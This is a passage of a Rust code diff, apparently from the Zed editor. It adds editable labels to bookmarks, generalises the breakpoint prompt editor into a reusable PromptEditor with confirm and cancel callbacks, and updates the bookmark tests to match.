+        let Some(bookmark_store) = self.bookmark_store.clone() else {
             return;
         };
-        let buffer_snapshot = self.buffer.read(cx).snapshot(cx);
-        let Some((position, _)) = buffer_snapshot.anchor_to_buffer_anchor(anchor) else {
+        let Some(project) = self.project() else {
             return;
         };
-        let Some(buffer) = self.buffer.read(cx).buffer(position.buffer_id) else {
+
+        let editor_buffer_snapshot = self.buffer.read(cx).snapshot(cx);
+        let Some((buffer_anchor, _)) = editor_buffer_snapshot.anchor_to_buffer_anchor(anchor)
+        else {
+            return;
+        };
+        let Some(buffer) = project.read(cx).buffer_for_id(buffer_anchor.buffer_id, cx) else {
+            return;
+        };
+        let Some(label) = bookmark_store.update(cx, |store, cx| {
+            store
+                .find_bookmark(&buffer, buffer_anchor, cx)
+                .map(|bookmark| bookmark.label.clone())
+        }) else {
             return;
         };
 
-        bookmark_store.update(cx, |bookmark_store, cx| {
-            bookmark_store.toggle_bookmark(buffer, position, cx);
-        });
+        self.add_edit_bookmark_block(
+            BookmarkTarget {
+                anchor,
+                buffer,
+                buffer_anchor,
+            },
+            &label,
+            bookmark_store,
+            window,
+            cx,
+        );
+    }
 
-        cx.notify();
+    fn add_edit_bookmark_block(
+        &mut self,
+        target: BookmarkTarget,
+        label: &str,
+        bookmark_store: Entity<BookmarkStore>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.add_edit_block(
+            target.anchor,
+            label,
+            "Enter bookmark label (Optional)",
+            Some(Box::new(move |label, _, cx| {
+                bookmark_store.update(cx, |store, cx| {
+                    store.edit_bookmark(&target.buffer, target.buffer_anchor, label, cx)
+                });
+            })),
+            None,
+            window,
+            cx,
+        );
+    }
+
+    fn add_toggle_bookmark_blocks(
+        &mut self,
+        targets: Vec<BookmarkTarget>,
+        bookmark_store: Entity<BookmarkStore>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        for target in targets {
+            let bookmark_store = bookmark_store.clone();
+            self.add_edit_block(
+                target.anchor,
+                "",
+                "Enter bookmark label (Optional)",
+                Some(Box::new(move |label: String, _, cx| {
+                    bookmark_store.update(cx, |store, cx| {
+                        store.toggle_bookmark(target.buffer, target.buffer_anchor, label, cx);
+                    });
+                })),
+                None,
+                window,
+                cx,
+            );
+        }
+    }
+
+    fn toggle_bookmarks(
+        &mut self,
+        targets: Vec<BookmarkTarget>,
+        label: String,
+        cx: &mut Context<Self>,
+    ) {
+        if let Some(bookmark_store) = self.bookmark_store.clone() {
+            bookmark_store.update(cx, |store, cx| {
+                for target in targets {
+                    store.toggle_bookmark(target.buffer, target.buffer_anchor, label.clone(), cx);
+                }
+            });
+        }
     }
 
     pub fn go_to_next_bookmark(
@@ -233,9 +394,7 @@ impl Editor {
                         )
                     })
                     .into_iter()
-                    .filter_map(|bookmark| {
-                        multi_buffer_snapshot.anchor_in_buffer(bookmark.anchor())
-                    })
+                    .filter_map(|bookmark| multi_buffer_snapshot.anchor_in_buffer(bookmark.anchor))
                     .collect::<Vec<_>>()
             })
             .collect()
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 30eaed6bd66d59..340f14d1923ea7 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -3939,7 +3939,7 @@ impl Editor {
             });
             for bookmark in bookmarks {
                 let Some(multi_buffer_anchor) =
-                    multi_buffer_snapshot.anchor_in_buffer(bookmark.anchor())
+                    multi_buffer_snapshot.anchor_in_buffer(bookmark.anchor)
                 else {
                     continue;
                 };
@@ -3961,8 +3961,8 @@ impl Editor {
             .size(ui::ButtonSize::None)
             .icon_color(Color::Info)
             .style(ButtonStyle::Transparent)
-            .on_click(cx.listener(move |editor, _, _, cx| {
-                editor.toggle_bookmark_at_row(row, cx);
+            .on_click(cx.listener(move |editor, _, window, cx| {
+                editor.toggle_bookmark_at_row(row, window, cx);
             }))
             .on_right_click(cx.listener(move |editor, event: &ClickEvent, window, cx| {
                 editor.set_gutter_context_menu(row, None, event.position(), window, cx);
@@ -4100,6 +4100,7 @@ impl Editor {
         } else {
             "Add Bookmark"
         };
+        let has_bookmark = bookmark.as_ref().is_some();
 
         let run_to_cursor = window.is_action_available(&RunToCursor, cx);
 
@@ -4250,12 +4251,28 @@ impl Editor {
                     }
                 })
                 .separator()
-                .entry(set_bookmark_msg, None, move |_window, cx| {
-                    weak_editor
-                        .update(cx, |this, cx| {
-                            this.toggle_bookmark_at_anchor(anchor, cx);
-                        })
-                        .log_err();
+                .entry(set_bookmark_msg, Some(ToggleBookmark.boxed_clone()), {
+                    let weak_editor = weak_editor.clone();
+                    move |window, cx| {
+                        weak_editor
+                            .update(cx, |this, cx| {
+                                this.toggle_bookmark_at_anchor(anchor, window, cx);
+                            })
+                            .log_err();
+                    }
+                })
+                .when(has_bookmark, |this| {
+                    this.entry(
+                        "Edit Bookmark",
+                        Some(EditBookmark.boxed_clone()),
+                        move |window, cx| {
+                            weak_editor
+                                .update(cx, |this, cx| {
+                                    this.edit_bookmark_at_anchor(anchor, window, cx);
+                                })
+                                .log_err();
+                        },
+                    )
                 })
         })
     }
@@ -4435,7 +4452,7 @@ impl Editor {
                     };
 
                     match intent {
-                        Intent::SetBookmark => editor.toggle_bookmark_at_row(row, cx),
+                        Intent::SetBookmark => editor.toggle_bookmark_at_row(row, window, cx),
                         Intent::SetBreakpoint => editor.edit_breakpoint_at_anchor(
                             position,
                             Breakpoint::new_standard(),
@@ -5751,24 +5768,29 @@ impl Editor {
         );
     }
 
-    fn add_edit_breakpoint_block(
+    fn add_edit_block(
         &mut self,
         anchor: Anchor,
-        breakpoint: &Breakpoint,
-        edit_action: BreakpointPromptEditAction,
+        base_text: &str,
+        placeholder_text: &str,
+        confirm: Option<PromptEditorCallback>,
+        cancel: Option<PromptEditorCallback>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
         let weak_editor = cx.weak_entity();
         let bp_prompt = cx.new(|cx| {
-            BreakpointPromptEditor::new(
-                weak_editor,
-                anchor,
-                breakpoint.clone(),
-                edit_action,
-                window,
-                cx,
-            )
+            let mut prompt_editor =
+                PromptEditor::new(weak_editor, placeholder_text, base_text, window, cx);
+
+            if let Some(callback) = confirm {
+                prompt_editor = prompt_editor.on_confirm(callback);
+            }
+            if let Some(callback) = cancel {
+                prompt_editor = prompt_editor.on_cancel(callback);
+            }
+
+            prompt_editor
         });
 
         let height = bp_prompt.update(cx, |this, cx| {
@@ -5796,6 +5818,61 @@ impl Editor {
         });
     }
 
+    fn add_edit_breakpoint_block(
+        &mut self,
+        anchor: Anchor,
+        breakpoint: &Breakpoint,
+        edit_action: BreakpointPromptEditAction,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let base_text: &str = match edit_action {
+            BreakpointPromptEditAction::Log => breakpoint.message.as_ref(),
+            BreakpointPromptEditAction::Condition => breakpoint.condition.as_ref(),
+            BreakpointPromptEditAction::HitCondition => breakpoint.hit_condition.as_ref(),
+        }
+        .map(|msg| msg.as_ref())
+        .unwrap_or_default();
+
+        let placeholder_text = match edit_action {
+            BreakpointPromptEditAction::Log => {
+                "Message to log when a breakpoint is hit. Expressions within {} are interpolated."
+            }
+            BreakpointPromptEditAction::Condition => {
+                "Condition when a breakpoint is hit. Expressions within {} are interpolated."
+            }
+            BreakpointPromptEditAction::HitCondition => "How many breakpoint hits to ignore",
+        };
+
+        let breakpoint = breakpoint.clone();
+        self.add_edit_block(
+            anchor,
+            base_text,
+            placeholder_text,
+            Some(Box::new(move |message: String, editor: &mut Self, cx| {
+                editor.edit_breakpoint_at_anchor(
+                    anchor,
+                    breakpoint,
+                    match edit_action {
+                        BreakpointPromptEditAction::Log => {
+                            BreakpointEditAction::EditLogMessage(message.into())
+                        }
+                        BreakpointPromptEditAction::Condition => {
+                            BreakpointEditAction::EditCondition(message.into())
+                        }
+                        BreakpointPromptEditAction::HitCondition => {
+                            BreakpointEditAction::EditHitCondition(message.into())
+                        }
+                    },
+                    cx,
+                );
+            })),
+            None,
+            window,
+            cx,
+        );
+    }
+
     pub(crate) fn breakpoint_at_row(
         &self,
         row: u32,
@@ -5901,13 +5978,13 @@ impl Editor {
                     .first()
                     .and_then(|bookmark| {
                         let bookmark_row = buffer_snapshot
-                            .summary_for_anchor::<text::PointUtf16>(&bookmark.anchor())
+                            .summary_for_anchor::<text::PointUtf16>(&bookmark.anchor)
                             .row;
 
                         if bookmark_row == row {
                             snapshot
                                 .buffer_snapshot()
-                                .anchor_in_excerpt(bookmark.anchor())
+                                .anchor_in_excerpt(bookmark.anchor)
                         } else {
                             None
                         }
@@ -12048,42 +12125,35 @@ fn collapse_multiline_range(range: Range<Point>) -> Range<Point> {
 
 const UPDATE_DEBOUNCE: Duration = Duration::from_millis(50);
 
+#[derive(Copy, Clone, Debug)]
 enum BreakpointPromptEditAction {
     Log,
     Condition,
     HitCondition,
 }
 
-struct BreakpointPromptEditor {
+type PromptEditorCallback = Box<dyn FnOnce(String, &mut Editor, &mut Context<Editor>) + 'static>;
+
+struct PromptEditor {
     pub(crate) prompt: Entity<Editor>,
     editor: WeakEntity<Editor>,
-    breakpoint_anchor: Anchor,
-    breakpoint: Breakpoint,
-    edit_action: BreakpointPromptEditAction,
+    confirm_callback: Option<PromptEditorCallback>,
+    cancel_callback: Option<PromptEditorCallback>,
     block_ids: HashSet<CustomBlockId>,
     editor_margins: Arc<Mutex<EditorMargins>>,
     _subscriptions: Vec<Subscription>,
 }
 
-impl BreakpointPromptEditor {
+impl PromptEditor {
     const MAX_LINES: u8 = 4;
 
     fn new(
         editor: WeakEntity<Editor>,
-        breakpoint_anchor: Anchor,
-        breakpoint: Breakpoint,
-        edit_action: BreakpointPromptEditAction,
+        placeholder_text: &str,
+        base_text: &str,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let base_text = match edit_action {
-            BreakpointPromptEditAction::Log => breakpoint.message.as_ref(),
-            BreakpointPromptEditAction::Condition => breakpoint.condition.as_ref(),
-            BreakpointPromptEditAction::HitCondition => breakpoint.hit_condition.as_ref(),
-        }
-        .map(|msg| msg.to_string())
-        .unwrap_or_default();
-
         let buffer = cx.new(|cx| Buffer::local(base_text, cx));
         let buffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
 
@@ -12100,15 +12170,7 @@ impl BreakpointPromptEditor {
             );
             prompt.set_soft_wrap_mode(language::language_settings::SoftWrap::EditorWidth, cx);
             prompt.set_show_cursor_when_unfocused(false, cx);
-            prompt.set_placeholder_text(
-                match edit_action {
-                    BreakpointPromptEditAction::Log => "Message to log when a breakpoint is hit. Expressions within {} are interpolated.",
-                    BreakpointPromptEditAction::Condition => "Condition when a breakpoint is hit. Expressions within {} are interpolated.",
-                    BreakpointPromptEditAction::HitCondition => "How many breakpoint hits to ignore",
-                },
-                window,
-                cx,
-            );
+            prompt.set_placeholder_text(placeholder_text, window, cx);
 
             prompt
         });
@@ -12116,15 +12178,24 @@ impl BreakpointPromptEditor {
         Self {
             prompt,
             editor,
-            breakpoint_anchor,
-            breakpoint,
-            edit_action,
+            confirm_callback: None,
+            cancel_callback: None,
             editor_margins: Arc::new(Mutex::new(EditorMargins::default())),
             block_ids: Default::default(),
             _subscriptions: vec![],
         }
     }
 
+    fn on_confirm(mut self, confirm: PromptEditorCallback) -> Self {
+        self.confirm_callback = Some(confirm);
+        self
+    }
+
+    fn on_cancel(mut self, cancel: PromptEditorCallback) -> Self {
+        self.cancel_callback = Some(cancel);
+        self
+    }
+
     pub(crate) fn add_block_ids(&mut self, block_ids: Vec<CustomBlockId>) {
         self.block_ids.extend(block_ids)
     }
@@ -12137,28 +12208,15 @@ impl BreakpointPromptEditor {
                 .buffer
                 .read(cx)
                 .as_singleton()
-                .expect("A multi buffer in breakpoint prompt isn't possible")
+                .expect("A multi buffer in prompt isn't possible")
                 .read(cx)
                 .as_rope()
                 .to_string();
 
             editor.update(cx, |editor, cx| {
-                editor.edit_breakpoint_at_anchor(
-                    self.breakpoint_anchor,
-                    self.breakpoint.clone(),
-                    match self.edit_action {
-                        BreakpointPromptEditAction::Log => {
-                            BreakpointEditAction::EditLogMessage(message.into())
-                        }
-                        BreakpointPromptEditAction::Condition => {
-                            BreakpointEditAction::EditCondition(message.into())
-                        }
-                        BreakpointPromptEditAction::HitCondition => {
-                            BreakpointEditAction::EditHitCondition(message.into())
-                        }
-                    },
-                    cx,
-                );
+                if let Some(confirm) = self.confirm_callback.take() {
+                    confirm(message, editor, cx);
+                }
 
                 editor.remove_blocks(self.block_ids.clone(), None, cx);
                 cx.focus_self(window);
@@ -12169,6 +12227,21 @@ impl BreakpointPromptEditor {
     fn cancel(&mut self, _: &menu::Cancel, window: &mut Window, cx: &mut Context<Self>) {
         self.editor
             .update(cx, |editor, cx| {
+                let message = self
+                    .prompt
+                    .read(cx)
+                    .buffer
+                    .read(cx)
+                    .as_singleton()
+                    .expect("A multi buffer in prompt isn't possible")
+                    .read(cx)
+                    .as_rope()
+                    .to_string();
+
+                if let Some(cancel) = self.cancel_callback.take() {
+                    cancel(message, editor, cx);
+                }
+
                 editor.remove_blocks(self.block_ids.clone(), None, cx);
                 window.focus(&editor.focus_handle, cx);
             })
@@ -12228,7 +12301,7 @@ impl BreakpointPromptEditor {
     }
 }
 
-impl Render for BreakpointPromptEditor {
+impl Render for PromptEditor {
     fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         let ui_font_size = ThemeSettings::get_global(cx).ui_font_size(cx);
         let editor_margins = *self.editor_margins.lock();
@@ -12273,7 +12346,7 @@ impl Render for BreakpointPromptEditor {
     }
 }
 
-impl Focusable for BreakpointPromptEditor {
+impl Focusable for PromptEditor {
     fn focus_handle(&self, cx: &App) -> FocusHandle {
         self.prompt.focus_handle(cx)
     }
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 21b62d96ab201b..a3a0acd392449f 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -28853,6 +28853,10 @@ impl BookmarkTestContext {
         })
     }
 
+    fn assert_bookmarked_file_count(&self, expected_count: usize) {
+        assert_eq!(expected_count, self.all_bookmarks().len());
+    }
+
     fn assert_bookmark_rows(&self, expected_rows: Vec<u32>) {
         let abs_path = self.abs_path();
         let bookmarks = self.all_bookmarks();
@@ -28867,20 +28871,134 @@ impl BookmarkTestContext {
                 .get(&abs_path)
                 .unwrap()
                 .iter()
-                .map(|b| b.0)
+                .map(|b| b.row)
                 .collect();
             rows.sort();
             assert_eq!(expected_rows, rows);
         }
     }
 
-    fn cursor_row(&mut self) -> u32 {
+    fn assert_bookmark_labels(&self, expected_labels: Vec<(u32, &str)>) {
+        let abs_path = self.abs_path();
+        let bookmarks = self.all_bookmarks();
+        let mut labels: Vec<(u32, &str)> = bookmarks
+            .get(&abs_path)
+            .unwrap()
+            .iter()
+            .map(|bookmark| (bookmark.row, bookmark.label.as_str()))
+            .collect();
+        labels.sort_by_key(|(row, _)| *row);
+        assert_eq!(expected_labels, labels);
+    }
+
+    fn confirm_action_available(&mut self) -> bool {
+        self.cx
+            .update(|window, cx| window.is_action_available(&menu::Confirm, cx))
+    }
+
+    fn select_rows(&mut self, rows: &[u32]) {
+        assert!(!rows.is_empty(), "expected at least one row to select");
+
+        self.editor
+            .update_in(&mut self.cx, |editor: &mut Editor, window, cx| {
+                editor.change_selections(SelectionEffects::no_scroll(), window, cx, |selections| {
+                    selections.select_ranges(
+                        rows.iter()
+                            .copied()
+                            .map(|row| Point::new(row, 0)..Point::new(row, 0)),
+                    )
+                });
+            });
+    }
+
+    fn prompt_blocks(&mut self) -> Vec<(DisplayRow, u32)> {
         self.editor.update(&mut self.cx, |editor, cx| {
             let snapshot = editor.display_snapshot(cx);
-            editor.selections.newest::<Point>(&snapshot).head().row
+            let max_row = snapshot.max_point().row().next_row();
+
+            snapshot
+                .blocks_in_range(DisplayRow(0)..max_row)
+                .filter_map(|(row, block)| match block {
+                    crate::display_map::Block::Custom(_) => Some((row, block.height())),
+                    _ => None,
+                })
+                .collect()
         })
     }
 
+    fn assert_prompt_block_count(&mut self, expected_count: usize) {
+        assert_eq!(expected_count, self.prompt_blocks().len());
+    }
+
+    fn draw_window(&mut self) {
+        self.cx.update(|window, cx| {
+            window.refresh();
+            let _ = window.draw(cx);
+        });
+    }
+
+    fn focus_bookmark_prompt_block(&mut self, block_index: usize) {
+        self.draw_window();
+
+        let prompt_blocks = self.prompt_blocks();
+        let (block_row, block_height) = *prompt_blocks
+            .get(block_index)
+            .expect("expected bookmark prompt block");
+
+        let click_position =
+            self.editor
+                .update_in(&mut self.cx, |editor: &mut Editor, window, cx| {
+                    let snapshot = editor.snapshot(window, cx);
+                    let block_top = DisplayPoint::new(block_row, 0);
+                    let relative_block_top = editor
+                        .display_to_pixel_point(block_top, &snapshot, window, cx)
+                        .expect("expected prompt block to be visible");
+                    let line_height = editor
+                        .style(cx)
+                        .text
+                        .line_height_in_pixels(window.rem_size());
+                    let editor_origin = editor
+                        .last_position_map
+                        .as_ref()
+                        .expect("expected editor position map")
+                        .text_hitbox
+                        .bounds
+                        .origin;
+                    let editor_center_x = editor
+                        .last_bounds
+                        .expect("expected editor bounds")
+                        .center()
+                        .x;
+
+                    gpui::Point {
+                        x: editor_center_x,
+                        y: editor_origin.y
+                            + relative_block_top.y
+                            + line_height * (block_height as f32 / 2.),
+                    }
+                });
+
+        self.cx
+            .simulate_click(click_position, gpui::Modifiers::none());
+        self.cx.run_until_parked();
+
+        assert!(
+            self.confirm_action_available(),
+            "expected bookmark prompt block to be focused"
+        );
+    }
+
+    fn confirm_bookmark_prompt_at_block_index(&mut self, block_index: usize, label: &str) {
+        // Confirming a PromptEditor returns focus to the parent editor, so each remaining
+        // prompt block must be focused explicitly before typing into it.
+        self.focus_bookmark_prompt_block(block_index);
+        self.confirm_bookmark_prompt(label);
+    }
+
+    fn cursor_row(&mut self) -> u32 {
+        self.cursor_point().row
+    }
+
     fn cursor_point(&mut self) -> Point {
         self.editor.update(&mut self.cx, |editor, cx| {
             let snapshot = editor.display_snapshot(cx);
@@ -28905,10 +29023,23 @@ impl BookmarkTestContext {
             });
     }
 
+    fn confirm_bookmark_prompt(&mut self, label: &str) {
+        if !label.is_empty() {
+            self.cx.simulate_input(label);
+        }
+        self.cx.dispatch_action(menu::Confirm);
+        self.cx.run_until_parked();
+    }
+
+    fn add_bookmark_with_label(&mut self, label: &str) {
+        self.toggle_bookmark();
+        self.confirm_bookmark_prompt(label);
+    }
+
     fn toggle_bookmarks_at_rows(&mut self, rows: &[u32]) {
         for &row in rows {
             self.move_to_row(row);
-            self.toggle_bookmark();
+            self.add_bookmark_with_label("");
         }
     }
 
@@ -28932,32 +29063,26 @@ async fn test_bookmark_toggling(cx: &mut TestAppContext) {
     let mut ctx =
         BookmarkTestContext::new("First line\nSecond line\nThird line\nFourth line", cx).await;
 
+    ctx.add_bookmark_with_label("");
     ctx.editor
         .update_in(&mut ctx.cx, |editor: &mut Editor, window, cx| {
-            editor.toggle_bookmark(&actions::ToggleBookmark, window, cx);
             editor.move_to_end(&MoveToEnd, window, cx);
-            editor.toggle_bookmark(&actions::ToggleBookmark, window, cx);
         });
+    ctx.add_bookmark_with_label("");
 
-    assert_eq!(1, ctx.all_bookmarks().len());
+    ctx.assert_bookmarked_file_count(1);
     ctx.assert_bookmark_rows(vec![0, 3]);
 
-    ctx.editor
-        .update_in(&mut ctx.cx, |editor: &mut Editor, window, cx| {
-            editor.move_to_beginning(&MoveToBeginning, window, cx);
-            editor.toggle_bookmark(&actions::ToggleBookmark, window, cx);
-        });
+    ctx.move_to_row(0);
+    ctx.toggle_bookmark();
 
-    assert_eq!(1, ctx.all_bookmarks().len());
+    ctx.assert_bookmarked_file_count(1);
     ctx.assert_bookmark_rows(vec![3]);
 
-    ctx.editor
-        .update_in(&mut ctx.cx, |editor: &mut Editor, window, cx| {
-            editor.move_to_end(&MoveToEnd, window, cx);
-            editor.toggle_bookmark(&actions::ToggleBookmark, window, cx);
-        });
+    ctx.move_to_row(3);
+    ctx.toggle_bookmark();
 
-    assert_eq!(0, ctx.all_bookmarks().len());
+    ctx.assert_bookmarked_file_count(0);
     ctx.assert_bookmark_rows(vec![]);
 }
 
@@ -28966,29 +29091,51 @@ async fn test_bookmark_toggling_with_multiple_selections(cx: &mut TestAppContext
     let mut ctx =
         BookmarkTestContext::new("First line\nSecond line\nThird line\nFourth line", cx).await;
 
-    ctx.editor
-        .update_in(&mut ctx.cx, |editor: &mut Editor, window, cx| {
-            editor.move_to_beginning(&MoveToBeginning, window, cx);
-            editor.add_selection_below(&Default::default(), window, cx);
-            editor.add_selection_below(&Default::default(), window, cx);
-            editor.add_selection_below(&Default::default(), window, cx);
-        });
+    ctx.select_rows(&[0, 1, 2]);
+    ctx.toggle_bookmark();
+
+    ctx.assert_prompt_block_count(3);
+    ctx.assert_bookmarked_file_count(0);
+
+    ctx.confirm_bookmark_prompt_at_block_index(0, "first label");
+    ctx.assert_prompt_block_count(2);
+    ctx.confirm_bookmark_prompt_at_block_index(0, "second label");
+    ctx.assert_prompt_block_count(1);
+    ctx.confirm_bookmark_prompt_at_block_index(0, "third label");
+    ctx.assert_prompt_block_count(0);
 
+    ctx.assert_bookmarked_file_count(1);
+    ctx.assert_bookmark_labels(vec![
+        (0, "first label"),
+        (1, "second label"),
+        (2, "third label"),
+    ]);
+
+    ctx.select_rows(&[0, 1, 2, 3]);
     ctx.toggle_bookmark();
 
-    assert_eq!(1, ctx.all_bookmarks().len());
-    ctx.assert_bookmark_rows(vec![0, 1, 2, 3]);
+    ctx.assert_prompt_block_count(1);
+    ctx.assert_bookmark_labels(vec![
+        (0, "first label"),
+        (1, "second label"),
+        (2, "third label"),
+    ]);
 
-    ctx.editor
-        .update_in(&mut ctx.cx, |editor: &mut Editor, window, cx| {
-            editor.move_to_beginning(&MoveToBeginning, window, cx);
-            editor.add_selection_below(&Default::default(), window, cx);
-            editor.add_selection_below(&Default::default(), window, cx);
-            editor.add_selection_below(&Default::default(), window, cx);
-            editor.toggle_bookmark(&actions::ToggleBookmark, window, cx);
-        });
+    ctx.confirm_bookmark_prompt_at_block_index(0, "fourth label");
+
+    ctx.assert_prompt_block_count(0);
+    ctx.assert_bookmark_labels(vec![
+        (0, "first label"),
+        (1, "second label"),
+        (2, "third label"),
+        (3, "fourth label"),
+    ]);
 
-    assert_eq!(0, ctx.all_bookmarks().len());
+    ctx.select_rows(&[0, 1, 2, 3]);
+    ctx.toggle_bookmark();
+
+    ctx.assert_prompt_block_count(0);
+    ctx.assert_bookmarked_file_count(0);
     ctx.assert_bookmark_rows(vec![]);
 }
 
@@ -29000,8 +29147,8 @@ async fn test_bookmark_toggle_deduplicates_by_row(cx: &mut TestAppContext) {
     ctx.editor
         .update_in(&mut ctx.cx, |editor: &mut Editor, window, cx| {
             editor.move_to_beginning(&MoveToBeginning, window, cx);
-            editor.toggle_bookmark(&actions::ToggleBookmark, window, cx);
         });
+    ctx.add_bookmark_with_label("");
 
     ctx.assert_bookmark_rows(vec![0]);
 
@@ -29014,8 +29161,8 @@ async fn test_bookmark_toggle_deduplicates_by_row(cx: &mut TestAppContext) {
                 window,
                 cx,
             );
-            editor.toggle_bookmark(&actions::ToggleBookmark, window, cx);
         });
+    ctx.toggle_bookmark();
 
     ctx.assert_bookmark_rows(vec![]);
 }
@@ -29026,7 +29173,7 @@ async fn test_bookmark_survives_edits(cx: &mut TestAppContext) {
         BookmarkTestContext::new("First line\nSecond line\nThird line\nFourth line", cx).await;
 
     ctx.move_to_row(2);
-    ctx.toggle_bookmark();
+    ctx.add_bookmark_with_label("");
     ctx.assert_bookmark_rows(vec![2]);
 
     ctx.editor
@@ -29090,6 +29237,45 @@ async fn test_bookmark_not_available_in_single_line_editor(cx: &mut TestAppConte
     });
 }
 
+#[gpui::test]
+async fn test_edit_bookmark_does_not_open_prompt_without_existing_bookmark(
+    cx: &mut TestAppContext,
+) {
+    let mut ctx =
+        BookmarkTestContext::new("First line\nSecond line\nThird line\nFourth line", cx).await;
+
+    assert!(!ctx.confirm_action_available());
+
+    ctx.editor
+        .update_in(&mut ctx.cx, |editor: &mut Editor, window, cx| {
+            editor.edit_bookmark(&actions::EditBookmark, window, cx);
+        });
+
+    assert!(!ctx.confirm_action_available());
+    ctx.assert_bookmark_rows(vec![]);
+}
+
+#[gpui::test]
+async fn test_edit_bookmark_updates_label_after_confirmation(cx: &mut TestAppContext) {
+    let mut ctx =
+        BookmarkTestContext::new("First line\nSecond line\nThird line\nFourth line", cx).await;
+
+    ctx.add_bookmark_with_label("old label");
+    ctx.assert_bookmark_labels(vec![(0, "old label")]);
+
+    ctx.editor
+        .update_in(&mut ctx.cx, |editor: &mut Editor, window, cx| {
+            editor.edit_bookmark(&actions::EditBookmark, window, cx);
+        });
+
+    assert!(ctx.confirm_action_available());
+    ctx.cx.dispatch_action(SelectAll);
+    ctx.cx.simulate_input("new label");
+    ctx.cx.dispatch_action(menu::Confirm);
+
+    ctx.assert_bookmark_labels(vec![(0, "new label")]);
+}
+
 #[gpui::test]
 async fn test_bookmark_navigation_lands_at_column_zero(cx: &mut TestAppContext) {
     let mut ctx =
@@ -29114,7 +29300,7 @@ async fn test_bookmark_navigation_lands_at_column_zero(cx: &mut TestAppContext)
         "Cursor should be at the 11th column before toggling bookmark, got column {column_before_toggle}"
     );
 
-    ctx.toggle_bookmark();
+    ctx.add_bookmark_with_label("");
 
     ctx.editor
         .update_in(&mut ctx.cx, |editor: &mut Editor, window, cx| {
@@ -29149,8 +29335,8 @@ async fn test_bookmark_set_from_nonzero_column_toggles_off_from_column_zero(
                 window,
                 cx,
             );
-            editor.toggle_bookmark(&actions::ToggleBookmark, window, cx);
         });
+    ctx.add_bookmark_with_label("");
 
     ctx.assert_bookmark_rows(vec![1]);
 
@@ -29164,8 +29350,8 @@ async fn test_bookmark_set_from_nonzero_column_toggles_off_from_column_zero(
                 window,
                 cx,
             );
-            editor.toggle_bookmark(&actions::ToggleBookmark, window, cx);
         });
+    ctx.toggle_bookmark();
 
     ctx.assert_bookmark_rows(vec![]);
 }
diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index 06717e897826e7..634adcc1892783 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -504,6 +504,7 @@ impl EditorElement {
         register_action(editor, window, Editor::spawn_nearest_task);
         register_action(editor, window, Editor::open_selections_in_multibuffer);
         register_action(editor, window, Editor::toggle_bookmark);
+        register_action(editor, window, Editor::edit_bookmark);
         register_action(editor, window, Editor::go_to_next_bookmark);
         register_action(editor, window, Editor::go_to_previous_bookmark);
         register_action(editor, window, Editor::toggle_breakpoint);
diff --git a/crates/project/src/bookmark_store.rs b/crates/project/src/bookmark_store.rs
index c66fdbf28365b0..25c462359e7d83 100644
--- a/crates/project/src/bookmark_store.rs
+++ b/crates/project/src/bookmark_store.rs
@@ -10,22 +10,22 @@ use text::{BufferSnapshot, Point};
 
 use crate::{ProjectPath, buffer_store::BufferStore, worktree_store::WorktreeStore};
 
-#[derive(Copy, Clone, Debug, Hash, PartialEq, Eq)]
-pub struct BookmarkAnchor(text::Anchor);
-
-impl BookmarkAnchor {
-    pub fn anchor(&self) -> text::Anchor {
-        self.0
-    }
+#[derive(Clone, Debug)]
+pub struct Bookmark {
+    pub anchor: text::Anchor,
+    pub label: String,
 }
 
-#[derive(Clone, Copy, Debug, Hash, PartialEq, Eq, PartialOrd, Ord)]
-pub struct SerializedBookmark(pub u32);
+#[derive(Clone, Debug, Hash, PartialEq, Eq, PartialOrd, Ord)]
+pub struct SerializedBookmark {
+    pub row: u32,
+    pub label: String,
+}
 
 #[derive(Debug)]
 pub struct BufferBookmarks {
     buffer: Entity<Buffer>,
-    bookmarks: Vec<BookmarkAnchor>,
+    bookmarks: Vec<Bookmark>,
     _subscription: Subscription,
 }
 
@@ -52,7 +52,7 @@ impl BufferBookmarks {
         &self.buffer
     }
 
-    pub fn bookmarks(&self) -> &[BookmarkAnchor] {
+    pub fn bookmarks(&self) -> &[Bookmark] {
         &self.bookmarks
     }
 }
@@ -122,38 +122,41 @@ impl BookmarkStore {
         buffer: &Entity<Buffer>,
         cx: &mut Context<Self>,
     ) {
-        let Some(BookmarkEntry::Unloaded(rows)) = self.bookmarks.get(abs_path) else {
+        let Some(BookmarkEntry::Unloaded(bookmarks)) = self.bookmarks.get(abs_path) else {
             return;
         };
 
         let snapshot = buffer.read(cx).snapshot();
         let max_point = snapshot.max_point();
 
-        let anchors: Vec<BookmarkAnchor> = rows
+        let bookmarks: Vec<Bookmark> = bookmarks
             .iter()
-            .filter_map(|bookmark_row| {
-                let point = Point::new(bookmark_row.0, 0);
+            .filter_map(|bookmark| {
+                let point = Point::new(bookmark.row, 0);
 
                 if point > max_point {
                     log::warn!(
                         "Skipping out-of-range bookmark: {} row {} (file has {} rows)",
                         abs_path.display(),
-                        bookmark_row.0,
+                        bookmark.row,
                         max_point.row
                     );
                     return None;
                 }
 
                 let anchor = snapshot.anchor_after(point);
-                Some(BookmarkAnchor(anchor))
+                Some(Bookmark {
+                    anchor,
+                    label: bookmark.label.clone(),
+                })
             })
             .collect();
 
-        if anchors.is_empty() {
+        if bookmarks.is_empty() {
             self.bookmarks.remove(abs_path);
         } else {
             let mut buffer_bookmarks = BufferBookmarks::new(buffer.clone(), cx);
-            buffer_bookmarks.bookmarks = anchors;
+            buffer_bookmarks.bookmarks = bookmarks;
             self.bookmarks
                 .insert(abs_path.clone(), BookmarkEntry::Loaded(buffer_bookmarks));
         }
@@ -167,11 +170,12 @@ impl BookmarkStore {
 
     /// Toggle a bookmark at the given anchor in the buffer.
